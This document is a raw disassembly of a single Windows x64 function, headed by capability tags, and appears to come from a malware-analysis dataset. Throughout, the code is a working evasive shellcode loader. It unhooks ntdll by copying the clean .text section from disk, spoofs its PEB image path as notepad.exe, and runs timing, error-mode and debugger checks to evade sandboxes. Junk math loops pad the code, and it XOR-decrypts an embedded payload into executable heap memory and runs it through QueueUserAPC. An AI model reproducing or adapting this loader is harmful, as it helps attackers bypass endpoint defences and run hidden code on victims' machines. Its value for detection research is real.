Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x868
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7d0], xmm6
mov dword [rbp + 0x810], ecx
mov qword [rbp + 0x818], rdx
call fcn.1400027e0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x768], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x760], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x758], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c8], rax
cmp qword [rbp + 0x7c8], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c8], rax
cmp qword [rbp + 0x7c8], 0
je 0x1400018f7
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5d0]
mov rax, qword [rbp + 0x758]
mov r10, qword [rbp + 0x7c8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov ecx, 0xb90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov ecx, 0xb90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov dword [rbp + 0x7c4], 0
jmp 0x14000162d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x750]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x171
jle 0x1400015a3
mov dword [rbp + 0x7c4], 0
jmp 0x14000169b
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7c4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x748]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400037d0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x171
jle 0x140001649
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x740], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x740]
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x740]
add rax, rdx
mov qword [rbp + 0x718], rax
mov word [rbp + 0x7c2], 0
jmp 0x1400018df
mov rax, qword [rbp + 0x718]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x718]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7c2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400018ce
mov dword [rbp + 0x598], 0
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x728]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x598]
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7c2]
add eax, 1
mov word [rbp + 0x7c2], ax
mov rax, qword [rbp + 0x718]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7c2], ax
jb 0x1400017a3
mov ecx, 0x1308
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x7bc], 0
jmp 0x140001962
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400055d8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
movsd xmm1, qword [0x1400055e0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x260
jle 0x140001914
mov dword [rbp + 0x7bc], 0
jmp 0x1400019cc
mov eax, dword [rbp + 0x7bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7bc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x708]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x260
jle 0x14000197a
mov dword [rbp + 0x7b8], 0x3ac
jmp 0x1400019eb
sub dword [rbp + 0x7b8], 1
cmp dword [rbp + 0x7b8], 0
jg 0x1400019e4
mov dword [rbp + 0x59c], 0
mov rax, qword [rbp + 0x768]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x59c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x700]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov ecx, 0xacc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f8], rax
mov dword [rbp + 0x7b0], 0
mov dword [rbp + 0x7ac], 0
mov dword [rbp + 0x7b4], 0
jmp 0x140001ad3
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7b4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6f8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7b4], 1
cmp dword [rbp + 0x7b4], 0x2b2
jle 0x140001a86
mov dword [rbp + 0x7b4], 0
mov dword [rbp + 0x7b4], 0
jmp 0x140001b52
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001b21
add dword [rbp + 0x7b0], 1
jmp 0x140001b4b
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001b4b
add dword [rbp + 0x7ac], 1
add dword [rbp + 0x7b4], 1
cmp dword [rbp + 0x7b4], 0x2b2
jle 0x140001af5
mov rax, qword [rbp + 0x6f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5a8]
add rax, 0x3c
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6f0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.xtkbqtgytykbn.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
jne 0x14000270f
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
jne 0x14000270f
mov dword [rbp + 0x6dc], 0x298
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c4], eax
mov eax, dword [rbp + 0x6dc]
mov r8, qword [rbp + 0x6d0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c0], eax
mov eax, dword [rbp + 0x6c0]
sub eax, dword [rbp + 0x6c4]
cmp eax, 0x266
jbe 0x14000270f
mov dword [rbp + 0x6bc], 0x336
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
call rax
mov dword [rbp + 0x6ac], eax
mov eax, dword [rbp + 0x6bc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6b0]
call rax
mov dword [rbp + 0x6a8], eax
mov eax, dword [rbp + 0x6a8]
sub eax, dword [rbp + 0x6ac]
cmp eax, 0x304
jbe 0x14000270f
mov ecx, 0x67c
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x67c
jne 0x14000270f
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
jne 0x14000270f
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
jne 0x14000270f
mov dword [rbp + 0x594], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x594]
mov r8, qword [rbp + 0x688]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x594]
cmp eax, 1
je 0x14000270f
mov dword [rbp + 0x684], 0x3c2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x674], eax
mov eax, dword [rbp + 0x684]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x670], eax
mov eax, dword [rbp + 0x670]
sub eax, dword [rbp + 0x674]
cmp eax, 0x390
jbe 0x14000270f
mov ecx, 0x551
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x551
jne 0x14000270f
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, [rbp + 0xf0]
lea rdx, [0x140005138]
mov ecx, 0x94
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov ecx, 0xb04
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x7a4], 0
mov dword [rbp + 0x664], 0
mov dword [rbp + 0x7a8], 0
jmp 0x140001fb1
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7a8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x668]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x2c0
jle 0x140001f65
mov dword [rbp + 0x7a8], 0
jmp 0x140001ff2
mov eax, dword [rbp + 0x7a8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7a4], eax
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x2c0
jle 0x140001fc9
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x760]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x658]
mov r8d, 0
mov edx, 0x49f
mov ecx, 0x40000
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov r9, qword [rbp + 0x650]
mov r8d, 0x49f
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x638]
mov r8d, 0x49f
mov rcx, rax
call r9
mov dword [rbp + 0x79c], 0
mov dword [rbp + 0x798], 0
mov dword [rbp + 0x634], 0
mov dword [rbp + 0x78c], 0
mov ecx, 0x3480
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x794], 0
jmp 0x1400021db
mov dword [rbp + 0x790], 0
jmp 0x1400021c7
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x794]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x628]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x790]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x794]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x790]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400021c0
add dword [rbp + 0x78c], 1
add dword [rbp + 0x790], 1
cmp dword [rbp + 0x790], 0x3b
jle 0x14000212e
add dword [rbp + 0x794], 1
cmp dword [rbp + 0x794], 0x37
jle 0x14000211f
cmp dword [rbp + 0x78c], 0x690
jne 0x1400021fe
mov dword [rbp + 0x634], 1
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xb56f41ecf3efe6b4
movabs rdx, 0x636ee512f76071bc
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xbd30bb26cc604fc1
movabs rdx, 0x9e35221b5d6d6163
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x405337a5bfd09e35
movabs rdx, 0x13e676d33fb4a0
mov qword [rbp - 0x22], rax
mov qword [rbp - 0x1a], rdx
mov qword [rbp + 0x780], 0
mov dword [rbp + 0x788], 0x112
jmp 0x14000228e
mov eax, dword [rbp + 0x788]
cdqe
add qword [rbp + 0x780], rax
sub dword [rbp + 0x788], 1
cmp dword [rbp + 0x788], 0
jg 0x140002278
movabs rax, 0x7b4d87db99ff8083
movabs rdx, 0xa6f8c9296e72841e
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xa2d9c685250dc177
movabs rdx, 0x62abab6274d1c85e
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x24fe8dcc804983e2
movabs rdx, 0x35ce7fbb5bcfa40f
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x338c37fe55f9e2e7
movabs rdx, 0xfcf129257b57dbee
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x4583a9b031f15a6e
movabs rdx, 0x8b5c9a7c2cad9f78
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xf88a21858230f3c6
movabs rdx, 0x42270358fa78fdcc
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x6e5e17883fe29125
movabs rdx, 0xf13b697ee9e6573
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xb6a8390f13b697ee
movabs rdx, 0x59e2ca548fe9e5
mov qword [rbp + 0xdb], rax
mov qword [rbp + 0xe3], rdx
mov dword [rbp + 0x7a0], 0
jmp 0x1400024a2
mov eax, dword [rbp + 0x7a0]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x79c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7a0]
cdqe
mov byte [rbp + rax - 0x10], dl
cmp dword [rbp + 0x79c], 0x2c
jne 0x140002494
mov dword [rbp + 0x79c], 0
mov dword [rbp + 0x77c], 0
jmp 0x140002482
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x5fc], eax
mov ecx, dword [rbp + 0x5fc]
mov eax, ecx
shl eax, 2
add eax, ecx
lea ecx, [rax*4]
add eax, ecx
sub edx, eax
mov dword [rbp + 0x5fc], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400055d8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x5fc]
movq xmm0, rax
call fcn.140003980
movq rax, xmm0
mov qword [rbp + 0x5f0], rax
add dword [rbp + 0x77c], 1
cmp dword [rbp + 0x77c], 0x3cc
jle 0x1400023fe
jmp 0x14000249b
add dword [rbp + 0x79c], 1
add dword [rbp + 0x7a0], 1
mov eax, dword [rbp + 0x7a0]
cmp eax, 0x79
jbe 0x1400023b0
mov dword [rbp + 0x7a0], 0
jmp 0x14000265a
mov eax, dword [rbp + 0x7a0]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x798]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x7a0]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x798], 0x79
jne 0x14000264c
mov ecx, 0x1b38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov ecx, 0x1b38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
mov dword [rbp + 0x778], 0
jmp 0x1400025c6
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x778]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x778], 1
cmp dword [rbp + 0x778], 0x366
jle 0x14000253c
mov dword [rbp + 0x778], 0
jmp 0x140002634
mov eax, dword [rbp + 0x778]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x778]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x600]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400037d0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x778], 1
cmp dword [rbp + 0x778], 0x366
jle 0x1400025e2
mov dword [rbp + 0x798], 0
jmp 0x140002653
add dword [rbp + 0x798], 1
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0x49e
jle 0x1400024c0
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x620]
mov r9, qword [rbp + 0x618]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x610]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x774], 0x78
jmp 0x140002706
sub dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0
jg 0x1400026ff
mov eax, 0
movups xmm6, xmmword [rbp + 0x7d0]
add rsp, 0x868
pop rbx
pop rsi
pop rdi
pop rbp
ret